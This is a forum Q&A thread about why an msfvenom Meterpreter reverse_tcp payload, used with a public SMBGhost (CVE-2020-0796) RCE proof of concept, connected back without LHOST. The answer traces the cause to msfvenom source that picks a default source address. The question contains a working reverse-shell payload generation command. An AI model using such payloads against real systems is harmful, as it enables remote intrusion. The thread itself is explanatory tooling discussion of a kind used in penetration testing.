Msfvenom reverse_tcp without LHOST

Question

I have tested SMBGhost (CVE-2020-0796). I used the following msfvenom command to generate a reverse shell payload.

msfvenom - p windows/x64/meterpreter/reverse_tcp LPORT = 4444 - b '\x00' - i 1 - f python 

As you can see, I did not include LHOST argument and the SMBGhost RCE attack worked perfectly. I got reverse shell without LHOST.

I really wonder how was it possible? I didn't include LHOST (which is the IP address of the attacker) on msfvenom command. But the reverse shell was connected from victim to attacker.

I used this POC for the RCE attack:

• https://github.com/chompie1337/SMBGhost_RCE_PoC

Answer 1

It's not well documented, but if you are running it from bash, msfvenom will check for an address to use as LHOST if you do not provide it in the command line. You have to dig into the source to see it. Note: This is unreliable and I would recommend explicitly setting LHOST, especially if your system has multiple interfaces.

Below is the code from GitHub. Pay special attention to L219:

212  if args
213    args.each do |x|
214      k,v = x.split('=', 2)
215      datastore[k.upcase] = v.to_s
216    end
217    if opts[:payload].to_s =~ /[\_\/]reverse/ && datastore['LHOST'].nil?
218      init_framework
219      datastore['LHOST'] = Rex::Socket.source_address
220    end

As you can see, it checks the args for LHOST=value in L214 and assigns those in L215. In line 217, if the payload is a reverse payload and there is no LHOST, it will pass to L219 where Rex::Socket.source_address is called. This will essentially identify the best option for a source address.

I tested this on my Kali system and added a puts statement after L219 to display the value that is set when LHOST is empty. This displayed the value of eth1 in the output of the debug statement I added.

  if args
    args.each do |x|
      k,v = x.split('=', 2)
      datastore[k.upcase] = v.to_s
    end
    if opts[:payload].to_s =~ /[\_\/]reverse/ && datastore['LHOST'].nil?
      init_framework
      datastore['LHOST'] = Rex::Socket.source_address
      $stdout.puts datastore['LHOST']    ## DEBUG LINE
    end
  end